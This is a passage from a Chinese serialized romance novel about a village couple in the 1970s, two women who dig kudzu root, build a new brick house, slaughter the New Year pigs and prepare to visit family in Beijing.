梅叙本就对因为她出众的手艺季白青有好感,知道这是个胆大心细的女同志之后好感更甚。 她眉眼弯弯:“其实也没什么大事,就是你的手艺我们一家都很喜欢,特意来表示一下。” “如果有什么我能够帮上忙的,可以来找我,当然,在那种地方,小同志也要谨慎行事。” 季白青对她的好感多了几分,也没有推脱,十分干脆地应下。 “既然梅县长和梅大娘喜欢,那我下次单独给你们多做一份点心。” “回去吧,路上小心,以后叫我梅姐就行。” 季白青站起身来对她摆摆手,“那梅姐再见。” 出了屋子,在回去的路上季白青还觉得有些不真实。 她没想到梅叙那么温柔,她在黑市做交易的事情也是一句没提,最后还给了她可以帮忙的承诺。 真是撞了大运了。 回到家后,温淼也下班了。 她连钱都没数,这才没有了在梅叙面前的淡定,有些兴奋地和温淼说着今天的遭遇。 温淼也有些惊讶,听完描述后弯唇道:“那看来她很喜欢你。” 季白青伸出了食指晃了晃,十分有自知之明:“她不是喜欢我,只是喜欢我的手艺而已。” 激动的劲儿一直到了吃完晚饭才缓下来。 下午温淼没课,趁着她在睡觉,季白青这才开始数今天的钱。 将这些钱都数了一遍后季白青决定安详躺下一段时间。 这段时间在黑市赚了不少钱,她想,该抽出来一点时间陪陪温淼了。 昨天腌制的辣酱也需要过一点时间才能继续去黑市卖,这么一想,季白青躺平的理由得更加理直气壮。 等到温淼醒过来之后,就对上了季白青亮晶晶的眼睛。 温淼疑惑:“看我干什么?” “今天下午我们都没什么事,老婆。” 闻言,温淼眼睛微微一亮,还不太确定地又问了一边,最后得到了肯定后瞬间清醒了,弯了弯眼睛正想着要让季白青下午和自己去约会。 只不过还没想到去哪,就听见了对方雀跃的声音。 季白青眨巴着杏眼:“老婆,我们下午去山上怎么样?多给奶奶她们准备点东西。” 温淼发现,两个人每次单独相处除了在家里好像基本都是在山上。 她想要说的话最后还是没有说出口,心里有些复杂,最后还是点了头。 好不容易休息一天,季白青想干什么就依着她吧。 见她同意后,季白青身后不存在的尾巴剧烈晃了晃,套了一件打满补丁的外套厚背着锄头在院子里等温淼收拾好。 今天的天气还不错,金色的阳*光照在人的身上暖洋洋的,在太阳底下站一会儿后感觉骨头都要酥了。 温淼换好了衣服,背着背篓、拿上个小锄头和季白青一起往山上走。 靠山吃山,一年四季云水村后面的山上能找到不少吃的。 季白青决定去挖葛根粉,在这之前设了几个陷阱。 温淼有些奇怪:“这是干什么?” 季白青解释:“看看能不能抓到兔子,兔子肉好吃。” 用落叶将绳索微微掩盖住,季白青和温淼又往山上走了点。 今天主要是来挖葛根。 三月份的时候挖过一次葛根,这个时候葛根也生长得差不多了 山上的葛根大多是群聚生长,春夏的时候绿色的叶片团簇,一直到初冬,叶子只剩下寥寥几片。 两人走到一处地方,看着三角形的叶片后停了下来。 顺着藤蔓找到了葛根所在处,季白青将藤蔓挖断,顺着那一处挥着锄头开始挖。 温淼在离得远一些的地方挖另外一根。 山上的土肥,葛根也长得好,挖出来几乎都有手臂粗,有的都能够比得上大腿粗了,中间的肉鼓出来,长势十分喜人。 她们挖的是粉葛,用来做葛根粉。 仅仅只是八|九根,很快就将背篓装满了。 领着温淼先下山一趟,将葛根放在家里,季白青才又上了山。 上上下下几趟,大概挖了百来斤的葛根。 这玩意儿几乎都几斤十几斤一根,挖起来麻烦,上下搬运也要花时间。 粉葛挖够后她们又挖了几十斤的柴葛,柴葛的药用价值高。 再挖了些黄精,季白青她们就准备下山了。 下山前去看了眼设下的几个陷阱。 一共五个陷阱,两个套中了兔子。 一只瘦巴巴的灰兔子,一只雪白的母兔,肚子鼓鼓的,看起来大概是怀了崽。 她将兔子抓在手里,温淼有些好奇地探头去看。 两只兔子都还活着,大睁着眼睛,耳朵竖得高高的。 回去后,季白青找了个箱子将兔子放了进去,又扔了些菜叶子。 太瘦了,养养再吃。 回家后,将挖来的葛根和黄精全都清洗干净,黄精放在通风处晾开,两个人端着张小凳子开始处理葛根。 先把表皮清楚,季白青就将大块的根块切开。 将家里的大石臼和木榔头清洗干净,葛根块放进去,用力捶打出汁液,最后再用干净的纱布装起来过滤,下面用个装了水的水缸接。 还没将所有的处理完,天色就暗了下来。 吃了晚饭后一家人继续忙活,将粉葛全都处理好后才各自回屋休息。 洗漱完后,温淼坐在桌前按了按肩膀。 见状,季白青站在她的身后给她按摩,感受到肩膀上轻重合宜的力道,温淼的身体放松了一些,眼睛微微眯起。 过了一会儿,她的身体往后靠了靠,后背靠上季白青的小腹,声音带着嗔意。 “别人谈对象都是一起去约会的,风花雪月,你倒是好,天天带着我去山上干活。” 季白青一呆,想要反驳又找不到理由。 一细想,好像还真是。 她的手停了下来,打在温淼的肩膀上,好一会儿才有些纠结地问:“你不喜欢这样吗?” 其实季白青自己一个人也可以将这些搞定,只是温淼一向喜欢跟在她身后当小尾巴,况且,有她在身边的时候季白青才觉得自己更有动力。 所以每次上山,只要温淼有时间她都要问问对方的意见。 温淼的头微微侧过去,脸颊贴着季白青的小腹,隔着一层布料也能够感受到她的腹部随着呼吸缓慢起伏。 等着自己回答的时候可以明显感知到对方有些紧张。 其实她也不知道该怎么说,她没有过恋爱经历,也只是在校园时期偶然撞见过几次别人约会。 更何况,其实季白青做的好像也没什么错,镇上也没什么适合约会的地方,而且季白青要去上班,温淼也几乎每天都要上课。 两人之间浪漫气氛并不浓烈,更多的爱意都藏在日常生活中的点点滴滴中。 想到这,温淼深吸了一口气。 最后摇了摇头,“没有不喜欢。” 听了这话,季白青还是拧着眉,一言不发地继续给她按着肩膀。 两人睡到了床上后,季白青最后才慢慢贴近温淼,试探性地勾住了温淼的手指。 感受到对方小心翼翼的态度,温淼的心瞬间软了些,轻轻搭住她的手。 这时候才听见季白青说话。 “蓁蓁,我只是想着多做点葛根粉到时候一起带过去给奶奶她们。” “以后我不会这样了。” 闻言,温淼转过了身去,黑暗中看不清对方的脸,温淼却能想象出那双明亮的眼睛此时应该是如何水润,大概是会想小狗一样眼巴巴地看着自己想要求一个原谅。 她也不知道自己具体是想要什么,但是此刻听了她的解释又觉得是自己太过无理取闹。 明明季白青什么都没做错。 唇瓣被咬得发白,温淼不知道该怎么回答。 手里的那根手指突然间被抽走,温淼下意识一慌,最后却被紧紧抱进了季白青的怀里。 季白青的下巴抵着温淼的头发,语气可怜巴巴:“老婆,理理我。” 温淼揪着她的衣服,手下的布料皱起后她又将那处抚平,思绪混乱,一缕一缕打了结。 季白青有错吗?真的没有。 最后,温淼放低了声音。 “对不起,好像是我想多了,可能最近生理期快到了。” 这么一细想,她的经期就真的在近期,或许毫无由头的烦躁便是由其引起的吧。 季白青听后,将手放在她的小腹上,即使是隔着一层布料也能够感受到她掌心的炙热温度。 “难受吗?我给你揉揉肚子?” 温淼轻轻点了点头,最后乱七八糟的想法也随着意识的放轻一点点散去。 只是一次不大不小的争吵,甚至都没有吵起来,一夜过后,什么糟糕情绪都烟消云散,温淼对季白青又恢复了原本的态度。 季白青接下来几天都在家里窝着,过了小半个月后,新一批的辣椒酱做好,她将百来瓶的辣椒酱卖出去之后就没再去黑市。 数着手里的钱,季白青在想另外一件事。 她现在手里有两千多,已经够盖一间新房了。 之前给温淼许诺过要让她住上的青砖瓦房。 当晚,窝在被窝里,季白青便打算将这件事和她商量一番。 帮温淼擦着湿润的头发,她卖了个关子。 “有一个好消息,猜猜是什么?” 温淼仰头看了眼她,皱了皱鼻子,最后猜测:“你又赚到钱了?” 季白青啧了一声:“我是这么见钱眼开的人吗?” 这话说完,就见恋人故作正经地点了点头。 季白青磨了磨牙,最后只能开口:“我赚到够多的钱了,这几天和娘爹她们商量一下,我去村里批一块地就可以盖一个属于我们的家了。 属于她们的家?温淼的眼睫一颤,突然有些紧张。 “婶子她们会不会不愿意?” 季白青想了想:“又不是分家,有什么不愿意的。” 女儿还是女儿,娘爹也还是娘爹。 话虽然这么说,温淼还是有些担心,总有一种自己将何香月她们的女儿拐走了的心虚感。 不过内心的多种情绪交织在一起,最终还是喜悦占了上风。 她和季白青的家,属于两个人的小家,怎么听都有一种安心感。 季白青给温淼大概擦干了头发后,捏着她的下巴亲了一口。 黏黏糊糊的水声响起,唇舌交织,涎水落到唇边收都收不住。 最后季白青推了出来,眼睛微微眯起,有些餍足,拇指抵在温淼的唇边,替她擦去唇边湿漉漉的水色,声音泛着哑: “好了老婆,不要乱想。” 公社已经正式放了假,之后一段时间都没有活干。 季白青在餐桌上就自然提出了要盖一间新房的事。 闻言,何香月一愣,看着自己日渐成熟的脸还有些恍惚。 女儿也养到那么大了,要有自己的家庭了。 她在心里微微叹了一口气,最后没多说,只是道:“知道了,待会儿我和你爹看看哪块地皮最好。” 这样一想,吃完饭后她撂了筷子,风风火火地拉着季伟去找村长看村里的地皮。 李向东听着何香月她们说要看地皮,也是一惊,手里的烟叶子快要烧到手了才赶紧按灭。 他问:“怎么突然要挑地皮了?” 季伟回:“我家那俩丫头,总要为她们的事做准备。” 听他这么说,李向东又是一阵抽气。 “老季啊,不是我说,你和弟妹也应该为白青想想。” “那温知青——京市来的大小姐!怎么可能会这么简单就愿意以后就和你家白青过日子呢。” “我们都是些泥腿子,哪里能真的被城里姑娘看上,温知青对你家丫头说不定只是消遣而已。” 为了个知青,要建一间新房,最简陋的也要花上小一百。 “两个丫头能有多长久。” 听了这话,何香月的脸色微变,声音冷了几分。 “村长,我们家的事就不劳烦你掺和了,淼淼也不是你想的那样,总之我们做母父的都同意了,你就放下心吧。” 李向东看着她不快的脸色,自知理亏,最后将村里登记地皮的册子拿了出来。 何香月和季伟商量了一番,最后挑了四个位置要好一些的地方。 和李向东打了一声招呼后她们就拿回去给季白青和温淼看。 温淼不大看得懂,季白青将四个地方都看了看,最后还是摇了摇头,“娘,我们想住偏一点,免得成天被盯着看。” 她之后再去黑市做生意,确实需要掩人耳目。 最后季白青挑了一处和小石村相近的地皮,背靠一小片竹林,面积大,后面还能开个菜园子。 和李向东交代好后,季白青写好了建房申请,上交公社后没多久就被通知可以去国营砖厂把材料运回来了。 季白青花钱雇了生产队的拖拉机帮忙运输,将砖石和瓦片全都运到了村里,又将房梁敲定好,何香月和季伟招呼着村里的其她人,就着手开始安排盖新房了。 十二月初,温度又降下来了,潇南省的风一向狂傲,呼呼地卷着枯枝败叶,或是毫不留情地往人的脸上刮,几天过去脸就被刀子似的风吹得焦红。 之前季白青去修建学校说她是为了学习经验也没说错,有了之前的经历,她现在动起手来也快,青砖堆砌之间泥浆抹得均匀,一眼望过去,她所砌的那一面墙让人光是看着就赏心悦目。 村里有人盖房子村民没事都是要去帮一把手的,不需要钱和公分,每家都多少出一个人,轮到下一家盖新房的时候也是如此。 十几个人一起帮忙,基本都是些年轻人,或是有经验的泥瓦匠,温淼和何香月两个人就负责做每天的中午饭给十几二十个人吃。 虽然帮忙不需要钱,但是管一顿饭是共识。 天气冷下来的唯一好处就是饭菜不容易坏,十几个人加在一起的饭量大,干得还是体力活,她们蒸饭的时候放米更多些,吃着热乎乎的红薯饭,炒的菜也有油水,再加上一碗热乎乎的汤,吃完饭后身体暖和起来,干起活儿来也更有力了。 季伟还会木工活,趁着中午休息的时间去挑选合适的木料,晚上就给季白青她们打家具。 一群人忙活了二十多天,最后总算是赶在一月前将新房盖好了。 从外看过去,青砖简约,配上黑色瓦片更有几分古韵。 屋子一共留了三间房,泥地也被抹得平整,从外到内看起来十分气派。 不过她们都没有打算直接住进去,虽然不知道这个年代新房盖好之后有没有甲醛,但季白青和温淼商量了一番,还是决定先通风一两个月再住进去。 再则一整套的家具还没有完全打好,季伟这边自己做一部分,大的家具像是床架、柜子这些还是找的专业的木匠。 新屋外还有很大的一片空地,季白青打算用竹片编个栅栏将前后院围出来。 在前院照样搭上架子,把季家门口的花和葡萄移过来,后院到时候就种菜。 还特意让季伟打了个小木屋,先前抓回来的兔子已经生了,一口气生了七八只兔崽子,到现在活下来六只。 另外一只灰兔子也成功混进了她们的大家庭。 温淼每天都给她们喂菜叶子和萝卜,见她那么喜欢,季白青决定再养养,之后小兔子长大些再吃。 季白青白天上山将竹条砍好,一捆一捆地背下来。 此外,天气越来越多变,还需要攒些柴火才能好好过冬。 眼见着事情都忙活的差不多了,她们才有时间让全村的人一起来吃个暖房的饭。 季白青前一天去杀猪特意给自己留了两条棒骨和一斤肉,今天早上准备午饭时刚好切了炒。 将肉剁碎成末,再把酸萝卜从坛子里取出来冲洗一番,切进锅里翻炒,再加上一勺辣椒酱,又香又辣。 笋干泡发炖大棒骨,又放了些冬瓜白萝卜进去,骨头汤喝了全身都暖了。 加上几碟子其它的菜,村里的人吃了个滚瓜肚圆。 临走前还夸她们这菜做得好。 晚上,季白青把她们今天随的钱数了数,都是五分一毛地随,关系更近的随个两毛。 一起一共两块不到。 不过本就没想着一顿饭要回本,请她们来吃暖房饭只不过图个寓意好。 今天空下来,季白青顺带将盖房子的花费也算了算,最后算出来的钱和她所猜测的差不多。 盖新房一共花了八百五,算着手里剩下的钱,季白青自己留了零零散散的毛票,将大团结塞给温淼。 温淼看着递到自己面前的大团结,抿着唇又推了回去。 她辛辛苦苦赚的钱,怎么能给自己呢? “我不要,你自己收着。” 季白青捏捏她的脸颊,又退回去,催促:“收起来。” “这叫上交工资,赚了钱不交给老婆那要我交给谁?” 听了这话,温淼的内心瞬间有些动摇,最后纠结一番还是收了下来。 她想了想,又抽出来一些给季白青:“这些给何婶她们。” 季白青弯起眼睛,温声道:“放心吧,给娘爹她们的我已经单独拿出来了。” 她给温淼看了看这段时间的花费,看着上面一笔一笔被扣除的数字,温淼觉得心疼。 这些钱对以前的她来说她没有多大的概念,但是这么多天的日子里,温淼是亲眼看着季白青每天早出晚归的。 八百多块钱,还没算是盖房每天买菜的钱,加在一起可能有九百。 这得季白青去黑市卖好多天东西才能赚到。 【作者有话说】 青青还是太穷了,浪漫不起来。 其实我有点纠结,感觉养了的兔子又吃好像不太好,但我又想想鸡,养了那么久还不是得被吃。 那还是吃吧。 感谢投雷、营养液,感谢订阅评论收藏 55 第55章 ◎杀年猪、分粮食◎ 光是看着温淼的表情,季白青就能够猜到她内心的想法。 心脏塌陷一角,季白青凑过去,坐在她身边,不同的体温通过接触互相传递。 “可我赚钱本来就是为了你和娘爹,不然的话就不会那么拼了。” 她提起温淼的唇角:“高兴一点蓁蓁,给你你安心收着就是了。” “别人想要我还不给呢。” “只给你。” 被季白青温温柔柔地哄着,温淼的心情总算是没那么低落。 只是在睡前还在强调:“既然是我们一起的家,那我也应该出一半的钱,我把数目给你记着,你的钱和我的钱分开记账,以后结婚了再放一起。” 季白青打了个哈欠,只想着先敷衍着答应,没多想其它,在她的背上轻轻拍拍,软绵绵应了声好。 夜里的风更大了些,叫嚣着拍打在窗户上,吹着树枝叶片晃动。 哗啦啦的声音和落在窗户上闷闷的撞击声交织,一方小天地里,两人裹在厚实的棉被里,即使有风狡猾地透过墙缝钻了进来,被窝里的温度也依旧不减。 温暖、安心、舒适,是属于季白青和温淼两个人的巢穴。 季白青的最近的睡眠状况不错,也很久没做过梦了。 明明什么都没有做,和往常一样安然入睡,闭上眼睛没多久却被扯出了巢穴,来到了绵绵阴雨之中。 灰蒙蒙的天、银针似的雨拌着细细的雪,像是冰棱一般尖锐,落在人的棉衣上,却能直直冻住被遮掩的皮肤。 季白青灵魂的状态轻盈又沉重,说起来很奇怪。 走在街上,天色一片昏沉,她的身体轻盈,身上的破旧的袄却被打湿,过于厚重,拖拽着整个灵魂,难以前行。 天空是葡萄灰,一层一层的云交叠,被雨水浸透,沉甸甸的,立马就要往地上缀。 阴郁环境的影响之下,季白青只觉得呼吸不畅。 心情阴晴变幻,从周身的氛围中只感受到了悲戚。 这是一个悲怆的梦,季白青下了定义。 她迫切地想要找到温淼的踪迹——每一次做梦,都是温淼所走的原剧情线。 无论温淼现在是什么处境,她现在想要做的唯一一件事就是能够陪在她身边。 雨越来越重,滴滴答答落在地上,聚成一处水洼,晕出一圈又一圈的波纹。 雨夹雪。 季白青没有实体,却还是能感受到刺骨的阴冷。 冰棱顺着风向往她的脸上刮,路上的行人越来越少。 天地苍茫,放眼望去,建筑物突然拔地而起,面前的景象变换。 浓云散去,澄澈的天展现,缀着个黄澄澄的太阳。 日光直晃晃的刺下来,季白青抬头望天,眼睛被刺得发涩。 面前不是她所熟悉的溪宁镇,陌生的地方就连自行车都成了俗物,路上几乎人手一辆。 还能见上几辆小轿车。 季白青按着胸口,面前的一切太陌生,未知让她有些恐慌。 身上还穿着被浸湿的棉袄,沉重冰冷,就连太阳都不能晒干,此时的季白青却顾不上这个。 她想,她现在到底在哪? 温淼呢?温淼又在哪? 恍惚间,耳边出现了细微的声音,呜呜咽咽的哭声,交杂着尖叫。 季白青的耳朵发疼,像是被针刺。 “闭嘴!”她捂着耳朵在人群中蹲下,人来人往,无人为她驻足。 却有一人的声音奇异地和她混合在一起。 “闭嘴。” 时空突然扭曲凝滞,周边所有的人被圈进旋涡。 高楼林立,最后只剩下季白青一个人。 耳边的声音越来越来,她听清楚了最开始细微的话语。 “求求你——” “我错了——” 声音戛然而止,她抬起头来,呼吸急促。 天,雪茫茫的一片。 头越来越痛,胸口越来越闷,最后她身体一软,倒在地上。 再次醒来,房间里昏昏暗暗,静得只能听见房间内呼啸的狂风。 季白青的头脑昏沉,身体也软,提不起任何冷气。 几乎一位还是在梦里,突然嘎吱一声,门被打开。 一只柔软的手贴在了她的额心。 “没那么热了。” 女人的声音柔软轻缓,周身也突然被一股熟悉的蔷薇暖香笼罩。 是温淼。 季白青吸了吸鼻子,张口:“我怎么了?” 出声后,才发觉嗓子已经哑的不像话了。 喉咙刺痛,唇瓣干涩。 温淼这才发觉她醒了,帮她掖了掖被角,避免再次着凉。 “你还说呢,晚上睡觉姿势也太不老实了,大半个身体都露在外面,今天烧了一天。” 听了这话,季白青才反应过来,原来现在已经不是早上了。 大概是傍晚。 鼻腔堵塞,她还有些呼吸不过来,微微张开了嘴。 温淼见状,去倒了一杯热水进来给她喝。 温水润过之后,才好受许多。 看着身边耐心温柔的人,季白青突然觉得委屈。 无端的冰冷的梦,她明明是在自己的梦里却总是保持被动。 这次梦里还没有温淼。 她攥着手上的杯子不肯给温淼,拉了一下没拉动,温淼垂眸看着季白青有些无奈:“怎么了小朋友?” 季白青抬眸,眼眶泛着薄粉。 “陪我睡一下。” “我害怕。” 生个病好像真的变成了小朋友,温淼轻声咕哝一句,最后还是依从。 “把杯子放开,放好之后我陪你。” 脱了棉袄和毛线衫躺在床上,季白青的手脚很快缠了过来,将她箍得紧紧的。 可能是发烧的缘故,她的身上很热,传到温淼身上,让温淼觉得像是置身火炉。 将人抱紧,季白青的呼吸总算是缓和下来,脸往她的胸前埋,呼吸属于她的气息。 一时间除了风啸,只能够听见两个人交织的呼吸声。 抱了好一会儿,确定了怀中之人的真实性,季白青说:“你不在。” 放在她头上给她顺着的手一顿,温淼有些疑惑。 “嗯?” 季白青呼吸急促几分,落在温淼腰上的手微微圈紧。 “我的梦,你不在。” 在梦里,季白青感受到的是由衷的恐慌,心里空落落的,像是被剖出了心脏。 她想要见的人不在。 听她带着哽咽的声音,温淼瞬间无奈几分。 “你的梦也不是我能控制的。” 见季白青的脸色瞬间又委屈了几分。 这话说完,温淼声音又温和几分:“好了,这次不在,下次就会在了。” “就算梦里不在,你醒来的时候我也会在。” “不许骗我。”季白青在她的锁骨上轻咬一口。 冬天衣服穿得多,也不用担心这一处的痕迹会被人看到。 但牙尖抵在那一处多少有些刺痛,温淼轻轻吸了一口气,手上微微用力,扯她发根。 “轻点。” 不知道是头皮处的刺痛还是温淼教训般的语气让她放轻了力度,最后用柔软湿润的舌头舔了舔。 “对不起。”她很乖地道歉。 温淼本来也没和一个病人生气,哄她:“好了,再睡一会儿,待会吃饭再叫你起来。” 安睡了几个小时,季白青再次醒来时身体的不适症状减轻不少。 温淼将衣服递给她,看她一件又一件地套上去,觉得有些可爱。 将自己包裹后像个圆鼓鼓的小企鹅。 落地的那一瞬间,季白青还有些头重脚轻,险些要往地上栽。 好在温淼在一边扶住了她,季白青顺势抓住了她的手,这才出了房间。 何香月她们已经做好了饭,屋子里充斥饭菜香。 桌上点了盏油灯,细微的风窜进来,卷着火苗四处摇摆,火光明明灭灭,几个人影被放在落在墙上,风一吹就剧烈一晃。 何香月看着也有几分心烦,让温淼她们坐下吃饭后商量道:“不如我们花钱给家里通个电吧。” 闻言,季白青手里的筷子差点甩掉。 有些不敢相信这是她娘能够说出来的话。 要知道,何香月除了在衣食上大方一点但不多,其它地方可都是能省则省。 她早就想给家里通电了,还去问过李向东,公社里牵了电网,村里也有电杆,不过电线迁到每家需要额外花七十块钱,每个月还需要出电费。 她还以为何香月肯定不会同意,都想好了直接瞒着她让电工上门,倒是没有想过她会主动提出来这回事。 季白青试探性开口,声音还有点涩:“那娘,新房那边我也要牵个电线过去。” 因为生病,她的声音还有些发哑。 何香月干脆点头,“牵,反正钱花了再赚就是了。” 温淼在一边轻轻点头:“婶子说得对,通电之后方便多了,还能够省下来煤油灯的钱。” 闻言,何香月眉开眼笑。 “对啊,我也是这么寻思。” 看了眼正在吃蛋羹的闺女,何香月偏头叮嘱季伟:“明天烧一袋炭回来,天气越来越冷了。” 季伟点头。 吃了饭,季白青还在生病,不能洗澡。 她窝回了被子里,没多久温淼也钻进了被窝。 将人抱在怀里,闻着温淼身上的气息,季白青有些不敢入睡。 眼睛缓慢地煽动,漫无边际地想着后面的打算。 探亲、过年、原剧情……各种想法将脑子塞满。 头疼,额角隐约抽痛。 她压在温淼腰上的手离开,按了按太阳穴。 温淼睡梦中感受到了动作,凑近她几分,声音绵绵柔柔,是听不出具体内容的喃喃呓语。 不过可以听出是在哄着季白青。 季白青的眉心舒展开,睡意突然涌现,不顾身体主人的主观意愿,阖上了眼。 这一病三天才好,好在温淼足够耐心,也让季白青享受了一把被照顾的待遇。 病刚好没多久,李向东就上门让季白青去杀年猪。 一年里,每天猪草投喂,把猪喂得膘肥体壮,把规定的重量上交给公社后,还剩下两头猪,一大一小。 把猪杀了后,这些肉就可以供村里的人平分。 季白青应了下来。 杀猪那天,她穿的比平时要薄一些,一大早就拿着刀就往养猪场走。 温淼跟在她身边,挎了个篮子。 到地方的时候,才发现村里的人比季白青来的还要早,一群人聚在一起杂七杂八地说着话。 见季白青她们来了后,人群的声音又嘈杂了几分。 离得最近的一个大娘牵着自己的小孙女,被冷风吹得直缩脖子,开口说:“白青你可终于来了,就等着你了!” 分肉这在村里可是大事,按照人口数量,每人少的时候能够分上几两肉,多的时候能有一两斤。 今年能剩下的猪有两头,是属于后面的那种情况。 每个人都期待着今年过年能够多吃几口肉。 季白青一手拿着刀,另一只手放在温淼的口袋里给她暖着手,到了冬天,即使每天裹得严严实实,温淼的手大多数时候还是冰凉的。 季白青身体的火力旺,手心热烘烘,很轻易能够将自己的体温传递给温淼,让她的手多几分热。 闻言,她揉了揉温淼的手,将自己的手抽了出来,挽起袖子回道:“马上了,大娘别着急。” 众人给她让出位置,几个人一起合伙用麻绳将猪捆猪手脚,最后抬到空处。 硕大的肥猪嗷嗷叫唤几声,季白青瞧准时机,干脆利落地下了手切开猪喉管。 用将猪血放完,其她人将准备好的几大桶开水往猪身上浇,刮完毛后季白青把肉切开。 第二头猪也用同样的方法解决,肉案前就已经排了一长条的队了, 记分员文秀梅将每家的人口登记册子拿出来,在一边辅助季白青分肉。 一共四百多斤的猪肉,每人可以分上一斤。 季白青切肉有足够的经验,每次切下的肉的重量都和所需的大差不差。 将肉分给排队的村民,很快就分得差不多了。 除了村民外,被安排到村里插队的知青也能分肉。 沈念念她们就排在最后。 等到她们的时候,好的肉已经不剩下多少了。 看了眼案板上的肉,沈念念抿着嘴,正想随意指着一处的肉,突然眼尖地看到了案下篮子里的两副大肠。 她眼睛一亮,胡乱指了一处后臀肉后对季白青说: “猪大肠给我切一点。” 季白青莫名看她一眼:“那是我的。” 沈念念一噎:“你的不能分我一点吗?更何况这里不止有一斤了吧。” 篮子里还放上了鲜红的肉。 她眼睛一转,威胁:“你藏肉,小心我告诉村长。” 本以为这样季白青就会害怕,哪知季白青神色还是分外镇定,看起来无动于衷。 “那你去告吧。” 她们的话被还没走的孙大娘听见,瞬间笑了。 “沈知青,你不知道吗?这是给屠妇的报酬。” “又不是不合规的。” 闻言,沈念念讪讪地拎起自己的肉,灰溜溜离开了。 将肉和猪血分完,季白青和温淼回去将东西放好,又拿了几个袋子准备去仓库领粮食。 今天除了杀猪外,还会分粮食。 将一年中的每个人的公分折算成粮食和钱。 过去的时候,仓库前已经挤满了人,一众人围着门口,一看到领粮食的人要出来后她们就争抢着往里面挤。 李向东和季伟提高声音:“排队、排队!都有秩序一点!” 人群还是置若罔闻,一直到李向东真要生气,不准备再分粮食后她们才乖顺下来,自觉排成一条长队。 季白青温淼她们的公分没换钱,全都换成了粮食,细粮和粗粮七三开。 虽然季白青平日不怎么上工,但有盖学校和参加双抢的公分在,她账上的几分也不少。 温淼在学校当老师,每天的公分都是满的,算下来比季白青还要多。 光是背粮食就来回好几趟,看得其她人都觉得眼红。 领完了粮食,将粮食堆放在堂屋,一看时间,下午两点了。 何香月她们还在忙着分粮食,季白青将今天拿回来的大肠洗干净,从酸菜坛里挖了一点缸豆,加上剁辣椒爆炒。 又用小肠打了个汤,加上鸡蛋又是一个菜。 留了些在锅里热着,季白青和温淼先吃。 吃完饭后她翻日历,今天是23号,明天过小年。 她和温淼商量过,小年在溪宁镇过,25号再出发去京市。 吃过晚饭后,两人一起去村长家请假。 听到温淼要去探亲,李向东倒是毫不犹豫地给了假。 但是知道季白青也要去后,他皱起眉,训斥:“人家温知青回家,你凑什么热闹。” 劝不动大的,李向东想要劝劝小的。 季白青不喜欢别人对自己的感情指指点点,但还要面前这人批假,只能耐下心来解释:“我和温淼去京市见家长。” 李向东明显还想说些什么,见状季白青直接打断他道:“村长,要是我和你说不通的话,我让我爹来和你说。” 听了这话,李向东瞬间哑炮。 “行了,给你假就是了!” 将介绍信和假条写好后,盖上章,李向东打发她们离开。 拿到了自己想要的东西,季白青没有和李向东多计较。 出了门,寒风瞬间往人的脸上吹。 季白青把温淼护在怀里,头发往后张牙舞爪地乱飞。 白日里风就大,晚上又大了几分。 往前走了几步,除了呼啸的风声外,季白青耳朵微微一动,听见了女人娇俏的声音。 扭过头一看,黑乎乎的一*片,手电筒的光微微一晃,照出来人的身影。 是沈念念和陆延。 她们大概也是看到了自己,脚步一顿后继续往前走,最后进了村长屋里。 见人消失在视线里,季白青才若有所思地收回了视线。 温淼催她:“好了,回去了。” 她出门的时候穿得厚实,脖子上也戴了围巾,头被帽子裹着,不冷。 但是这才一会儿,季白青露在外面的脸颊和耳朵已经被冻得通红了。 季白青点头,到了家后见介绍信放进抽屉,两人用热水泡了脚后才躺进被窝。 棉被是去年新打的,压在身上是沉甸甸的厚实,让人觉得很心安。 只是被窝里还是凉的,两个人的身体贴近才能从对方的身上汲取到温度。 想到刚才遇见的女男主,季白青说:“沈念念和陆延应该也要回京市。” 温淼闭着眼,懒懒地应了一声,倒也没有多惊讶。 只是季白青有所预感,在京市的时候该不会也能遇见她们吧? 最好不要。 将被子网上拉了拉,遮住露出的一截脖子,季白青小声和温淼说起其它的:“其实我有点紧张。” “感觉好神奇,原本以为离过年还有很长的一段时间,没想到时间过得那么快。” 这话温淼都听季白青说了一百遍了,耳朵都要听出茧子来。 她揉了揉耳垂,拍拍季白青的后背。 “放心吧,没什么好担心的,有我在呢。” “奶奶她们肯定会喜欢你的。” 季白青还是紧张:“如果奶奶她们偏要给我钱让我离开你怎么办?虽然我肯定不会收钱。” 这不就是小说里经常有的情节。 温淼:“……不会的。” 季白青还想开口,最后温淼有些不耐烦,捂住她的嘴。 “好了,有什么是明天再说。” “睡觉。” 季白青被迫闭麦,眨了眨眼睛,最后只能委委屈屈同意了。 第二天食品站要杀猪,季白青起得早,温淼也准备和她一起去。 冬天出门,单车骑在路上,感觉大风能够连人带车一起吹走。 风能把手吹得红彤彤,身体发冷,到室内好一会儿都不能恢复温度。 但温淼倔,一点也劝不动。 她最后只能让温淼穿厚一些,戴上了手套、围巾和帽子。 温淼也盯着她,见她穿得厚实两人才出发。 没时间吃饭,风大,自行车蹬起来也更为费劲。 天还没怎么亮,温淼打着手电筒给她照着前面的路。 带着手套的手在口袋外被吹了一会儿就凉了下来。 温淼为她带着手电筒,一边傲娇开口:“如果我不和你一起去镇上的话,都没人给你打手电筒。” 潜意思就是,她很有用。 风太大,季白青的耳朵还被帽子捂着,只能感受到身后的人说了点什么话。 她一张嘴,就被灌了一嘴的冷风,凉飕飕地直通腹部。 “你说什么?” 怕温淼听不清,她的声音特意提高了一些。 温淼:“……没什么!” 还是到了地方再和她说话吧,不然扯得嗓子疼。 【作者有话说】 对不起,今天状态不太好,踩着点才发。 感谢大家的投雷和营养液,感谢订阅评论收藏 56 第56章 ◎哪个杀千刀的偷了我的小孙女!◎ 到了食品站,将自行车放在屋内锁好,季白青这才问:“蓁蓁,刚才路上你说什么呢?” 温淼沉默了一会儿,其实不太想再次重复一边,但见她实在是好奇只能够将之前的话再次重复一遍。 闻言,季白青瞬间就笑开了。 摘下手套,胡乱塞进了口袋里,她伸出指尖点了点女人的鼻尖,声音带着几分笑意:“确实很有用,不过就算没什么用也没关系,不让你跟着是怕你冷而已,其它时候什么时候不让你来了。” 冬季实在是冷,呼出一口气都还变成了蒙蒙的白雾。 温淼的脸已经够冷了,没想到季白青的手指比她的鼻尖还要冷下几分。 左右看看,王宝珠还没有来,她将季白青的双手拢在手心,轻轻呼出两口气,给她搓着冷得快要僵掉的手指。 感受到温淼用柔软的手心将自己的手搓热,季白青的下巴抵在她的头发上蹭了蹭,眼尖地看到了王宝珠的身影,知道温淼脸皮薄,将手抽了出来。 “好了,待会儿就不冷了。” 温淼拧着眉,刚想说些什么,就听见王宝珠爽朗的声音。 